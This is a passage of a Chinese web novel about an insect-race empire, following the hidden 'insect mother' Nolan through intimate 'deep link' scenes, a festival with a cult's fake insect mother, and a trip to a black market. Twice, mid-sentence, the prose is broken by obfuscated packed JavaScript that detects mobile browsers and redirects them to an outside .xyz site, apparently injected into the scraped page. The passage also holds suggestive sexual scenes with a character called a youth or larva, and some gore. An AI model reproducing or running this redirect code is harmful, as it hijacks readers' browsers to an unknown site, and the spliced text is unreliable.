诺蓝抓着披风坐起来,路修黑骨棘的尾巴缠上他的腿,路修跪伏在地上,稍稍仰着头望向他,开口就是浓浓的沙哑声:“对不起,是我没有看好你,让你流落在外,受委屈了,我会向队长请求责罚,不管是拔掉虫翅还是砍掉触须,我都愿意承受后果。” S级虫族不常受伤,所以一旦有惩罚就比较重。 诺蓝当然不需要他这么拼命,“我又没受伤,你有这份勇气,别用来和自己作对。” 路修一激动就扑上来抱住了诺蓝,细长的触须跳起了舞,棘骨尾巴更激动,直接顺着诺蓝的大腿转圈,雄虫释放出大量能使雌性愉悦的气体,而诺蓝呼吸到的一瞬间就感觉到身体内部被勾起的火热。 他在第一次发育期,他可是虫母,不是普通的雌虫…… 虫母的发育期有别于雌虫,不论什么反应,他总比别虫更深一点。 路修只是确认他是否安全,随后就不舍地离开了。 诺蓝一直靠着卢卡斯的胸膛和路修说话,所以其实刚才路修扑向他的时候,他是被夹在了他俩之间…… 卢卡斯拨开他额前碎乱的刘海,在他额头轻轻一吻。 在他怀里,诺蓝昏昏欲睡,临睡之前,系统还跟他吃瓜,说摩提奈大校取消了原定联姻,整个贵族阶层小规模地震,原因未知,此时此刻那未婚雌正在上演一出追夫火葬场,但被摩提奈无视。 诺蓝只来得及哈哈了一声,就睡着了。 # 晚上,诺蓝洗过了澡,擦干头发,趴在睡眠舱里的大床上看星星,下午睡过午觉,所以现在身体懒洋洋地想要陷入睡眠,思绪却很活跃。 本世纪的虫族依然存在着外部生存危机,内部也不消停。 能重伤梅队长的绝非普通虫族,可能是某些利益和黑工厂相关的资本家,想要利用虫族的基因改良人类的精神力。 而这应该就是某些黑色产业链里的其中一环。 现在担忧这些也没有用,而且这也不是诺蓝一个小F能改变的。 诺蓝跳下床,其实他在光着脚,不过也没在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805781|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干脆让自己变成最舒服的样子——腰腹以下化成银白软鳞的长尾,盘在地毯上,抻了个懒腰。 打开门,探头探脑往外看,等队长回来。 星舰这一块区域十分安静,没有其他虫族敢来打扰,因为这是艾尔法专属的休息区,到处是监控,两侧站满机械护卫,空气净化的含氧量相当高,舱壁也是静音的高密度钢板,完全不用担心安全系数。 这星舰甚至是蝉族专属的装备,全虫族含有的高精尖飞行装置,现在独属于艾尔法。 啊!所以刚才诺蓝上星舰的时候,才看见了那么多陌生的雄虫士兵,他们对诺蓝的态度明显不同,恭敬温顺,完全信任。 因为他身上有艾尔法的信息素,他们误以为他是艾尔法的虫! 艾尔法来的时候,看见的就是这一幕。 他认定的“母巢”拖着柔软珠白的长尾巴趴在门边,百无聊赖地发着呆,直到看见他,月光下,少年的身影无比美丽纤长,露出耀眼的笑容,尾巴尖愉悦地在地毯上拨来拨去,声音轻盈如月:“队长,你回来啦?” 艾尔法的心跳骤停了一拍。 “……嗯。” 艾尔法将披风摘下放在收容柜里,他迫不及待想要进行深度链接,出于种族基因中的天性,他感知到母巢被觊觎了,在这艘星舰上,似乎不止一只虫将其视作母巢。 艾尔法无法忍受。 雄虫将门锁死,漆黑的虫翅张开遮住光线,健长的人类双腿消失,取而代之的,是雄性虫族壮硕的粗长黑尾,粗重而不讲道理地缠住了那条软绵绵的白色巨尾。 柔软温热的虫母躯体与雄性虫族毫无遮掩的身躯紧贴,诺蓝微不可见地僵硬一下,而艾尔法的手掌搂住他的腰,低声说:“要怎么进行深度链接?” 被艾尔法这样一抱,疲惫感顿时就涌了上来,诺蓝轻轻向后倒去,整条咸鱼陷进艾尔法外硬内软的虫翅里。 呜呜,好想在队长身上打滚啊! 诺蓝这次醒来,精神力微薄,连一整套链接都做不好,但如果只做一半就跑,艾尔法可能就崩溃了,更何况是深度链接…他也没有实操过的经验。 诺蓝声音放轻,手指无意识梳理着艾尔法的头发:“我们可以试试做,但不一定能做到最后,你懂我的意思吗?” 艾尔法缓慢抬起头,冷绿眸俯视着他,将他微红认真的神情看在眼中。 诺蓝已经感觉到了压力,忍着头皮发麻的感觉和他对视:“我有帮助大家的能力,如果我们成功深度链接,共享精神力,我的精神力就会提升,下一次你就不用特意来保护我,我也不会落进别的队伍里。” “三天后就是母神节,军校生要充当护卫。”艾尔法向他投来沉静询问的目光,“先做。” 雄虫的抱肢将少年圈拢,静静凝望眼前清俊美丽的“雌虫”片刻,轻轻蹭了下少年柔软的脸颊,随即一向保守矜持的雄性虫族舌尖轻探,舔舐起他尚有潮湿水汽和沐浴液气息的肌肤。 蝉族的舌头温凉柔滑,并不像螳螂那样有前端分叉,诺蓝浑身发麻,被刺激地几乎说不出话,控制不住颤抖与呼吸。 诺蓝仍然没忘要深度链接,不过他脸颊微红,仰起脖颈,手掌似有若无地遮挡尾巴根部的泄殖腔通道,只用尾尖拨弄雄虫的尾巴。 不能被发现虫母泄殖腔的秘密…… 雄虫的触须却贪婪地缠着他的触须,诺蓝在急促的呼吸一口气之后,就脖子一痛: 在雄虫咬上他喉结锁骨处虫纹的刹那间,他终于开始结皮期了,皮肤好似镀上一层水润的卵膜,散发着……古怪的蜜香。 19. 第 19 章 艾尔法也不知道为什么自己这么贪恋蜜味,明明蝉族最喜欢的不是蜜。 雄虫将诺蓝舔了一圈,连一根头发丝都没有放过,最后舌头是停留在细长雪白的指尖当作结尾,将幼虫完全染上自己的气味。 诺蓝在绝望中想,在虫卵里重新孵化一次的感受也就不过如此…… 艾尔法温柔地将他压在身下,精神力侵入他的体内,丝丝缕缕的柔意,因为知道他是第一次链接,所以控制着自己的力气,没让精神力全部占据链接通道,给诺蓝留足了掌控自己的空间。 诺蓝浑身轻颤着,也是不得不硬着头皮连上他的精神力。 哪怕是虫母体质,首次来到SS级雄虫的脑域世界,也能感受到炙烤般的灼热,想逃也已经来不及了,诺蓝不得已对暴躁易怒而且不得章法乱冲的精神力梳理了一次又一次,最后是有点精疲力尽的意思…… 深度链接结束后,诺蓝快虚脱了,骨头快散架,瘫软在地毯上化成一滩蜜蜂饼。 艾尔法的尾尖撩他的嘴角,诺蓝不情愿地用虫翅盖住了自己的脸… 他在脸红啊!没理智的雄虫看不出来吗!! 事实上艾尔法觉得这很可爱。 诺蓝的雪尾湿漉漉地拖在地上,整个虫伏在床柱子那边,头发全部被汗打湿,贴在脸颊上,好像这里不该是铁灰色涂装的星级战舰,而该是供养幼虫的温室花床,柔弱优美的虫尾巴出现在这里相当违和,像上弦月一样明亮。 艾尔法注意到诺蓝正处于结皮期,这个阶段要持续三个自然周左右。 这个时期要注意室温的变化,如果超出额定范围,小诺蓝很有可能染上红潮热病毒,很多成功度过未成年期的幼虫都死在第一次发育期。 艾尔法收起尾巴,坐在岛台的指挥桌前,头也未抬,手臂一揽,将诺蓝拖到了自己的大腿上。 浓烈甜香的蜜味扑面而来,艾尔法的额角青筋狠狠一跳,平时隐藏在发丝里的冰绿色触须激烈地打架,低头侧目,望着诺蓝。 “刚才有没有弄疼你?” 诺蓝是有点难以启齿,问这么直白…不过诺蓝还是实话实说,“没有啊队长,你那么温柔,我怎么会痛?” 艾尔法的制服微微敞开,露出结实冷白的胸膛,把诺蓝托起来,放在指挥桌上,大拇指腹擦过诺蓝的颊边,低声说:“我听说深度链接很难,对彼此的挑战性都很大,但我感觉很舒服,并没有听说的那样恐怖,不知道你怎么想?” 他的手指不敢用力,怕粗糙带着枪茧的指头刺破诺蓝的皮肤,他不想强迫他的指挥师,这次链接大概有5%左右,但精神力已经共调了,如果再做下去,虽然对双方的等级来说有很大好处,但就不止是精神交流那么简单了。 诺蓝顶着一张红番茄一样的脸,啜喏道:“队长…我也很舒服,你不要对自己没有自信,我、我很期待下一次与你的深度链接,那个时候,我应该会更熟练一点…把我的等级提升为F+…” 虽然F+也没有很强,但他又不靠精神力活着!其实刚才是有一段时间把艾尔法吊在不上不下的境地,糊弄了他一会儿… SS级哪有那么好掌控? 好在艾尔法没生气,很温驯地顺从他,任由他摆布,诺蓝几次尝试,才掌握了雄虫的脑域,期间,艾尔法一直抱着他的腰支撑他的上半身,因为他的下半身尾巴已经被雄虫挤压地软绵无力,真真正正像一条虫母怀虫卵后的肉尾巴了… 艾尔法低头,轻轻亲吻了一下诺蓝的眼睫。 幼虫本能地闭眼睛,艾尔法心中有些遗憾,诺蓝的眼睛很美,水汪汪的黑眼睛就像是忧郁的大海,他把雪白虫尾收回去变回人的双腿时,手还习惯性地搭在下腹部,那里好像有什么特殊的内脏器官,刚才交尾的时候,他就一直在保护着。 艾尔法并没有过问,也没有逼迫诺蓝回答,他想让诺蓝随心所欲地做事,所以他会尊重诺蓝的意愿,无论说与不说,都不强迫。 # 正如艾尔法所说,三天后就是虫族一年一度的母神节,自从帝国创立之初就开始有了这个习俗,是虫族的重大节庆日。 军部在首都星最繁华的地带圈出了一片场地举办巡回礼,并且联合军校的学生们共同维护治安,实战系的虫族被调到现场守卫,诺蓝也跟着当小兵。 庆典现场弥漫着各族虫身上的信息素味,其中不乏外族的气味,军虫的须须们像雷达一样站立起来,艾尔法的队伍尤其敬业,毕竟军部内定他为下一任首都星环守卫军的司令长官,他带的队伍总是独树一帜。 除了一位特殊的雌虫。 诺蓝在队伍的最末端充数,抱着冲锋枪,百无聊赖地站岗,叼着草叶,望着来来往往的陌生贵族子弟,心里一阵惆怅。 系统很费解:小可爱,你在忧愁什么?你又不是第一次见这么多虫。 【好悲伤啊,庆祝虫母的节日,却没有虫母存在,大家在期盼什么呢。】 系统:哈?? 我请问您不知道虫母在哪吗? 【他们好像没有很悲伤,这是为什么?好像陷入了一场末日的狂欢,不知道今天会不会发生有趣的事哦,好想看热闹。】 “…………” 有诺蓝在的地方就有瓜吃,虫们的期待值已经拉满。 不过没有虫母阁下的母神节确实很悲哀。 四大家族之一的戈兰登家族的家主,恺·戈兰登走在王虫身边,来到母神节的庆典现场。 王虫利雅德从星舰上下来,通过红毯,在年轻的军校生里搜寻着一道身影。 那应该是个年轻的雌虫,黑发黑眼,身材很好。 算了,摊牌了。 诺蓝·圣卡罗兰在哪!! 圣卡罗兰这个姓氏很神秘,曾是虫族的第一代蜂族姓氏,本以为灭绝了,没想到还有后代子嗣。 啊,找到了! 王虫看见诺蓝,心头诡异地一动。 这孩子很特别,长相俊秀清丽,但脸上没有很多表情,莫名酷酷的,笑起来的时候倒是很甜。 这张脸也好像在哪见过,睫毛浓密的像化不开的星云,透着说不出的矜贵。 难道是教科书里?还是虫族爱情读物?《七大家主将我视作掌中物,而我是虫母》,或者是《柔弱虫母带球跑》这种爱情小说的封面世界? 说真的,那些书还挺好看的,大家对虫母的美好描写让他这个压根儿不纯爱的虫都心动了,特别想投资一部拍个电影什么的。 但是诺蓝这孩子…怎么长得啊?像月光下一颗璀璨的明珠,果然,最好看的孩子要站在最显眼的位置,这样的话,整个队伍看起来都华丽夺目。 恺·戈兰登身后是首都星环里的权贵代表,他们都在看诺蓝。 听说诺蓝把戈兰登家族的雄虫和摩提奈的未婚夫之间的丑闻捅出来了,应该想个办法教训一下他。 恺:“王虫,母神节通常要献祭一只低等种,今年有名单吗?” 王虫:“暂时还没有,执政官说,希望取缔这项血腥的活动。” 高冷的执政官在一旁微微颔首。 【呵,献祭低等种?】 【献祭低等种,就是当着全虫族的面撕碎一只虫,争抢他的肉,谁吃得多,就象征着拥有强壮的体魄,可以第一个拥有虫母的交/配权,同时震慑后来的虫族,警告他们不要越过自己的轮次。】 【可是虫母又不在,胜出了又能怎么样?】 【直接说你饿了不就完了吗,大馋虫。】 恺的脸色变了又变,“王虫,不如我们随机选择一位幸运的低等种,把他扔进虫笼里,让那些怪物为他厮杀吧。” 帝国军事学院最美丽的宠儿,全身被挂满珍贵的珠宝,被扔进糜烂的虫笼中…想想,就很令虫热血沸腾呢。 王虫瞥了他一眼,倒是很好奇他跟谁有仇:“你想选谁?” 恺指向诺蓝,眼中恨意明显:“他。” 王虫大手一挥:“不行。” 恺:? 王虫目视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805782|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前方,虽然不知道为什么有点喜欢诺蓝,但从王虫的角度上看,他不会允许一个年轻且优秀的雌虫丧身在虫笼里。 因为母神节的重点并不在厮杀,而在于交/配,曾经有一年出现了八位胜出者,他们一起进入了虫笼,与“虫母”交/配。 哦,别问了,那不是真正的虫母,而是猩红教团那群疯子研究出的劣质虫母! 他是可以强行销毁那只假虫母,但是虫们根本不可能接受这一决定,只要有虫像虫母,哪怕只有一点,就已经被虫族们狂热的崇拜了,他可不想做那个罪虫。 # 诺蓝并不知道自己逃过了一劫,庆典开始,他在看虫笼里怪物们的厮杀。 梅队长带着突袭队的虫族从巡航舰里跳下来,降落在诺蓝身边。 “诺蓝同学,你怎么站在这?” 梅用蝶翼挡住了诺蓝,警惕的目光盯着恺,向来轻巧率性的嗓音却变得严峻,“你不知道虫笼深处是什么,退到我身后去,不要冒出头。” “是什么?” 【没猜错的话,梅的家族应该可以接触到虫族最高机密…嗯,他的伤好的差不多了。】 “……劣质虫母。” 梅难以启齿,“是猩红教团的红衣大主教研制出来的虫母替代品。” 然而想象中的惊呼并没有出现。 因为诺蓝的注意力被梅的制服特制缝隙给吸引了。 蝶族的制服和其他虫族的有很大区别,缝隙很宽,那里面隐藏着蝶族的鳞翅根,展开的时候,是会扯开布料,把绚丽的大翅膀露出来的。 可是梅的肩胛骨上方却出现了两道深红色的肌肉/缝裂,还缠着绷带,散发着药味。 不止是他,其他的蝶族们也多多少少带着一点伤,还有的翅膀断裂,裂口处呈现深红色肌理液的光泽,正在自我修复。 虫族有自愈能力,这对恢复速度极快的高等种而言完全不值一提。 诺蓝的手轻轻拂过梅的闪蝶翼,很小心地避开刚生出来的柔嫩的翅根部。 “不要碰…” 梅一把握住了他的手腕,浑身颤抖,一点点鲜红色的组织液从翅膀根部流出来,其实应该是用来自愈的,但越流越凶,诺蓝尝了下,确认那不是血才放心。 “脏,而且,”他闷声说,“你不觉得丑陋吗?” 周围的蝶族都不忍心再听了,谁不知道蝶族以诡艳华美的翅膀为荣,有的蝶族因为战争失去了半支翅膀,明明就可以缝合翅肌骨缝存活,就是丑了一点,却也执意流血不止而死亡。 而且他们不相信会有雌虫喜欢翅膀受过伤的雄蝶,哪怕是鲜红蝶翼的血漪蝶,至少在他们的观念里,是雌虫选择雄虫,外貌很主要。 他们不敢打扰队长,因为结束任务后,梅死里逃生,一直处于极度冷暴的状态,一触就炸。 诺蓝却根本没觉得丑,而且梅是他亲手救回来的,他现在有种奇特的心理,好像梅是他的子嗣: “不丑,谁说你丑了吗?别听他的,梅队长,翅膀受伤后,疼吗?” “不疼…” 被轻触翅膀,梅的触须颤抖,轻声说:“蝶族都将翅膀隐藏在肩背翼胛骨里,我们习惯了折断蝶翼再重生,往复成百上千次,就不会再怕疼了。” 诺蓝的关心令梅难堪,他受伤,丑陋,却还在被喜欢的雌虫安慰。 梅近乎于歇斯底里地想,离我远一些,我不想让你更厌恶我。 可是,梅却感觉到一个温和的拥抱从背后靠近。 他听见诺蓝难过地说:“那你一定很辛苦,这不是伤疤,是荣誉。” 梅的呼吸暂停一瞬。 诺蓝的手指是那样温柔,却给肩胛骨带来许多痒,自从这次和人类雇佣兵发生战争,濒死之后,他夜夜自责,夜夜失眠,直到被诺蓝轻轻拥抱过后,他的心情竟然缓解了。 “谢谢你救我。” 梅的金发轻拂过诺蓝的脸颊,低沉嗓音轻柔动听,“别不要我,无论什么时候。” 20. 第 20 章 诺蓝拍了拍梅的肩,梅金黄色的少将军衔颤了颤,平时总是没心没肺的少年雌虫在这一刻展露出的沉稳宽容,让梅无所适从。 梅第一次厌弃自己,目光在黯淡中摇摆不定,直到诺蓝的手指不经意间轻拂过他的耳畔蝶型流苏,温柔又充满善意,他的心也跟着微微颤抖。 “梅队长,既然来了,就好好参加巡回礼,别让多余的情绪成为你的累赘。” 诺蓝的告诫,让梅渐渐恢复了稀疏平常的安静。 雄虫的蝶翼从肌肤的表面收回到肌肉底层,只有制服上残存的液体昭示着他一时的失态,全部被诺蓝看见了,就算有些难以启齿,但梅心理却诡异地得到了一丝解脱。 他就是这样残缺、渴慕、不完美的蝶,他渴望被诺蓝看见自己的黑暗面,哪怕身为蝶族的面子全都不要了,也想要…被喜爱。 会很过分吗? 梅将表情调整为最熟悉的模样,游刃有余地微笑着面对自己的队员。 # 怪物们厮杀出最后的胜者,它被送进虫笼。 “怪物”顺着漆黑的走廊阴暗爬行,它还保留着虫族原始的野蛮气息,它本身就是经过生物改造过的低等种,供高等种们取乐用的,所以造型越夸张、越粗鲁越吸引眼球。 一直到祂进入到劣质虫母的巢穴,再也没有出来。 圆形雪白色的大理石坛台上,四面林立着古典帝国式的华丽圆柱,爬满黑色荆棘的纯白色栏杆之后,红衣大主教正在闭眼祈祷。 在场有很多虫族不知道猩红教团是干什么的,但是碍于面子,不想去问其他虫。 这个时候就特别想知道诺蓝知不知道,给他们科普一下啊! 诺蓝也不知道,好奇去问系统。 【让我看看,喔,猩红教团的象征图腾是甲壳虫抱着粉蔷薇,它起始于帝国建立之前,宣扬“虫母盛过于远古的深奥真理”,并承诺“对虫族进行基因改革”的科学…基因改革?像邪/教。】 【他们宣扬这种这种科学是“对虫母、基因宇宙、神之领域的复兴”,而这一切的核心思想,是“虫母主义至上”…啊哈,他们居然管劣质虫母叫神圣虫母,那真正的虫母该叫二等虫母吗…】 【劣质虫母是药水泡大的,除了像虫母一样可以产蜜,还有特殊器官,可以供至少六名虫族同时吮吸虫蜜…等等,总觉得误入了什么银趴现场,当众喂蜜什么的…真的没问题吗!!】 红衣大主教睁开眼,空洞的复眼像两块黑玻璃,目光在虫群里飘荡,像是没有灵魂的仿生虫。 忽然,他看见蝶族们包围着的雌虫身上,双眸如同烈火被点燃。 “我需要一位雌虫帮助开启神圣虫母的巢穴。” 大主教展开双臂,红袍撩开一角,诺蓝扫到他手臂内侧纹刻的虫母图腾—— 被虫卵和幼虫包围着的弱小虫母,正扯下衣襟,喂给虫子们蜜。 祂以美丽的人型出现,怀抱着那些狰狞的虫子们哄,眉眼温柔,带着淡淡的哀伤。 看上去那蜜味十分鲜甜,小虫崽子们攀爬在虫母的九条尾巴上(是幻想的九条尾巴,诺蓝觉得一条就足够重了),像树枝上挂着的一颗颗果实。最上面的幼虫显然是这场乳汁争夺战的获胜者,叼住了小虫母粉色柔嫩的蜜源肉粒,其他的虫们则在母亲温柔的怀抱里尽情玩耍,享用母亲爱意包裹的乳汁。 …… 恍惚间,诺蓝感到头疼。 很快,所有的感知都消失了,只有脑域里的精神力一阵阵地痉挛收缩着。 {过来……} ?? {我的主人想要见你……} 眼前如同黄昏的黑暗中,一阵低语涌入诺蓝的脑海。 那些召唤蠢蠢欲动,却又倏然停止,只留下冰冷的气息侵袭着诺蓝的理智。 在一阵眩晕过后,诺蓝终于恢复了清醒。 诺蓝跪在圆坛上,肩上仿佛还残留被精神力震动麻痹的触感。 他是被这两个虫族掠上台的,对视的瞬间,两个白色长袍的虫族瞬间一僵,背部的羽翼旋即收入袍子里,像被发现不是真正虫族的机械虫。 其中一个虫族说:“你跟我们走。” 另一个虫族说:“不要拒绝,这是你光荣的使命,请记录下所发生的事情。” 他们俩像复制粘贴一样,圆坛附近的虫族全都注视着这一幕,诺蓝保持警惕,和他们一起进了虫笼。 这里是一间昏暗的空间,空荡黑暗,暗红色的纱幔自房间四周落下,遮住黑窗,后面是黑色办公桌,深蓝色的虚拟星系投影在上空环绕,映蓝了长椅上猩红的皮毛垫子。 诺蓝迟疑道:“你们不会是——” “这里没有我们,只有成千上万个我,如果有需要,请随时呼唤我们,阁下。” 两个虫在胸前垂下双手,脑袋一歪,触须摇摇晃晃地抖动两下,居然就这样安安静静地退回到阴影中。 诺蓝定定神,难道是他误会了?这两个虫并没有恶意? 一个漆黑的身影从窗外探身而入,黑色甲壳的虫族以飞快速度褪尽外骨骼装备,蜕变成为身材高大的雄性。 他有虫翅,但是外形枯干,如同枯萎的黑玫瑰花瓣,他转身坐在长椅上,饶有兴致地盯着诺蓝看:“还算不赖,没有哭鼻子。” 诺蓝反应了一下,就想明白了来龙去脉。 “没想到猩红教团的幕后教父是个怪物。” “怪物?”那雄虫嗤笑一声,“你说的那个低等种已经喂神圣虫母了。” 【怪物明明是在说你。】 诺蓝闻到了阴谋的气息,疑惑:“不是用来交/配的吗?” 雄虫挥挥手说:“那种东西还不配拥有虫母,哪怕是劣等的虫母,所以也就没有记录的必要。” 诺蓝皱起眉头问:“那你把我带进来,是要干什么?” “我看到了一些很有趣的现象,发生在你身上。” 雄虫的虫尾犹如蝎子,将诺蓝的制服勾住,在他没反应过来的瞬间,把他拉到身前。 “看着我。” 雄虫的修长手指桎梏着诺蓝的下颌,左右打量着他的脸,眸中闪过意味不明的晦暗和怀疑,“你闻上去可比神圣虫母甜多了,可你的精神力这么低,没考虑过和高等种精神力共调提升精神力吗?” 他的鼻息滚烫炽烈,充满着浓郁的野性和不可控的危险,似乎是完全被本能支配的虫族,满脑子都是侵略的欲望和攻击性,他血红的眼眸,像是不怀好意。 诺蓝皱着眉,用力甩头甩开雄虫的手,从裤袋里掏出激光手枪,抵在他心脏前,低声说:“不管你是谁,这是高密度打造的热融枪,只要激光穿透你的肌肤,你全身的血液将会沸腾,你会在一瞬间死亡,听懂的话,放我出去。” 雄虫看着诺蓝,并没强调自己的身份,也没呵斥诺蓝,说一些高高在上的恐吓。 他只是握住诺蓝的枪,抵在自己胸前。 “杀了我。” 诺蓝没想到他会这样要求。 强电流会导致他的尾肌剧烈收缩,这么长的黑尾巴完全可以将自己杀死,“为什么?”诺蓝低声问。 雄虫慢条斯理道:“我需要你的疏导能力,想获得信任,不得不付出承诺。” “杀了我啊。” “小蜜蜂,你胆子不是很大吗?千万别是说说而已,临阵脱逃的话,我会认为你是胆小懦弱的废物。” 雄虫的手钳子似的握住诺蓝的腰,他的手太长太大,几乎半只手掌就能支撑诺蓝的后脊梁骨,毫不费力,诺蓝在他掌心里被迫撑着腰,微微往后仰着头,毫不犹豫地开枪! 激光枪射出后没有硝烟,血喷溅到诺蓝脸上,诺蓝闭着眼睛,大口喘着气,嘴边尝到了腥甜血味。 “厉害。” 雄虫挑起半边眉毛,胸前的血洞咕噜咕噜冒血,嘴角带着笑意,手指揩掉诺蓝脸颊的血渍,低沉而轻柔的嗓音说:“你让你杀我,我没有躲,也没骗你。” “现在,你打算给我什么补偿?” 诺蓝冷冷道:“抱歉,我连你是谁都不知道。” 卡迪瑟斯,虫族最伟大的猩红教团大头目,用一根手指,拨开诺蓝额头染血的碎发,露出那双令虫难忘的、心醉的、清澈明亮的乌眸。 “我是 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“不过,你得在这里等到天黑。” 【那还不是关是什么!!】 卡迪瑟斯抬了抬虫尾,长腿欣然起身走到诺蓝身边,俯身,笑着:“现在仪式在进行中,大家在朝拜神圣虫母,如果你现在出去,难保有虫或是其他脏东西抓捕你,生气你扰乱仪式。” “所以待在这里吧,等我回来。” 【这个疯子!】 卡迪瑟斯唇边扬起一抹没灵魂的笑,离开了房间,但是没把门反锁上。 诺蓝发现也没有虫看管他,居然可以自由行走?诺蓝直接出了房间,路过外监控室的时候发现虫族们都在看向劣质虫母,十分肃穆。 刚才那个红衣大主教应该是教会的傀儡,真正的掌权者是卡迪瑟斯。 教会的虫族拥簇着虫母,而那仅仅是一团粉色的虫形软肉,那是一个没有生长出健全虫族形态的雌性虫族,不远处是黄金甲壳的远古虫族——那天厄斐尼洛从污染区黑工厂里救出来的虫族,正满脸嫌弃地躲在角落里。 诺蓝正想凑近看得更仔细,就听见远处传来两个虫交谈的声音。 一个是刚才分开的卡迪瑟斯,另一个苍老陌生,很像是教团里的成员。 墙壁两侧的涂装是吸光材质,风干的蜻蜓标本挂在走廊,诺蓝轻手轻脚走过去,打定主意不搞清楚他们要做什么。 “……主人,他们拦截虫母基因药运往黑市,却和黑市密谋大批量制造虫母,现在到处都是这种三无药剂制造出的易变虫族,之前在污染区的那批死虫您也看见了……” “……主人,{虫母再造计划}难道要半途夭折吗?” 卡迪瑟斯的声线悠扬有力,在空荡荡的环境里回响,独白犹如乐器在弹奏。 “这只能说明你们的无能。” “神圣虫母一批又一批地生产,没有一个能活过一年,更何况,我的属下告诉我,你们在私下里贩卖神圣虫母,真是不知死活,还不滚出去,别耽误我会见贵客。” “是、是…” 那虫走后,诺蓝也没法装傻,只能硬着头皮走进去。 卡迪瑟斯戏谑的眼神似笑非笑:“想听也不进来,在外面站着,不累吗?” “我没有偷听!” “你听见也没关系,正好,陪我到黑市里走一圈。” 黑市?那倒是没去过的新鲜地方。 而且眼前这个卡迪瑟斯并不像要杀害自己的样子。 诺蓝想了想:“那我的同伴怎么办?” 卡迪瑟斯微微一笑,“放心,结束之前,我会送你回来。” 诺蓝也没理由再拒绝,卡迪瑟斯将自己的风衣脱下披在诺蓝身上,带着他从虫笼的后门出去,期间他胳膊一直搭在诺蓝肩上,极其亲呢。 守卫看了看诺蓝:“卡迪瑟斯阁下,您出去是不需要通行证,但这位是…?” “他是我的虫。” 卡迪瑟斯冷酷的眼神像看尸体,“滚开,别耽误我约会。” 21. 第 21 章 从后门出来,诺蓝还掠过了突袭队的队员们,贝利尔坐在楼梯台阶上,郁闷地给冲锋枪安子弹,尾尖拍来拍去,眼神还时不时看着虫笼的方向,满眼担心。 诺蓝更加小心地绕过了同学们。 但是没想到卡迪瑟斯的座驾竟然是磁浮轮车? 【居然是这么年轻化的交通工具……】 “……” 这是星环最重要的交通工具经停中心,衔接着整座首都中心星环区域的交通要塞,所有运输进首都星的货物都要在这里过检验,拿通行证。 除了港口的渡轮和货舰之外,高等虫族们的豪奢飞行器们也是琳琅满目,整个航站楼只有这一座“两轮车”,居然也不逊色于那些改装得花里胡哨的飞行器。 卡迪瑟斯飞进航站楼,看都没看诺蓝,转身大步流星朝自己的两轮车走去。 诺蓝跟着一步一步蹭过去。 这种两轮车外壳是高强度合金材料,覆盖着大量的黑色植物涂层,两个悬浮轮产生巨大磁力,使其悬浮在地面上,开起来像飞一样快,对虫来说就是玩具,但是远途旅行必不可少。 卡迪瑟斯打开了防护护盾,把一顶安全帽递给诺蓝,“戴好。” 诺蓝捧着头盔,很不情愿,抗拒地咸鱼扭头,难过地说:“就没有好一点的车坐吗?今天这么冷,我感觉翅膀都冻上了。” 【而且你刚死一次,都不感觉疼吗?天呐,难道你就是传说中的不死虫!】 “……” 卡迪瑟斯气笑了。 说真的,谁家生出来的这小蜜蜂?真该给他颁个奖。 卡迪瑟斯的大长腿分开骑在车上,一条长腿支撑车身,右手臂弯夹着头盔,斜睨诺蓝,漫不经心道:“嫌弃不好,你就走着去。” 诺蓝:哭唧唧.gif 卡迪瑟斯坐在车里等了半天,诺蓝都没动静儿,雄虫暴躁地啧了一声,下车把诺蓝拽过去按到自己车后座里,诺蓝还愣着的时候,就被他强行按上了头盔,系好了卡扣。 诺蓝眨了眨眼睛,控诉他:“这是非暴力不合作…” 他一说话,头盔的玻璃里就全是水蒸汽,卡迪瑟斯扯了扯唇角,弹了下他的脑门:“小家伙,等你有本事反抗我的时候,再说不愿意吧,现在给我乖乖听话,在结皮期还这么凶。” 卡迪瑟斯大长腿一跨,开动限量款X-磁悬浮车II代,载着一个不识货的虫。 诺蓝被迫伏在他后背上,察觉他在后面坐着还不老实,卡迪瑟斯阴森的声音在风中缓缓飘荡: “你再乱动,我就有可能在不经意间、不小心地,把你甩下去。” 诺蓝气的用头锤他后背,卡迪瑟斯闷哼几声,加快车速,急转弯,诺蓝猝不及防地撞在他后背上,怨声载道。 【不知道卡迪瑟斯是什么变异品种,甲壳比卢卡斯还硬!】 【喔喔,原来卡迪瑟斯是猩红教团背后的资本大佬,但是因为血统不纯,是混血种,所以从出生起就在暗区里厮混,能力又很突出,所以一路晋升为暗区老大,后来为了挽救虫母复苏的计划才转为地上活动,但其实本质上还是帝国的通缉犯“黑翅目”…啊啊啊啊啊我完蛋了!我偷窥到了暗区老大的秘密!好在他听不到……】 不,听到了呢。 卡迪瑟斯面无表情地进行了连续九个急转弯,惹得小雌虫害怕地紧紧搂住了他的腰。 “拿枪对着我的时候,怎么没见你还怕这个?” “…………” 到黑市的时候,诺蓝头晕目眩,卡迪瑟斯停车,把诺蓝从后座上拉下来,诺蓝头重脚轻,被迫跟着他一起进入漆黑幽深的小巷。 黑市属于暗区,是整个首都星最大的地下交易市场,随处可见身体改造过的虫族,卡迪瑟斯在黑市里完全不会遮挡面容,但他把诺蓝的脸隐藏在面具之后。 “到了。” 卡迪瑟斯把诺蓝推进一道暗门,里面有一位独眼老者,有半支触须折断了,食指上有枪茧,诺蓝一眼就看出来他曾在军队里服役过。 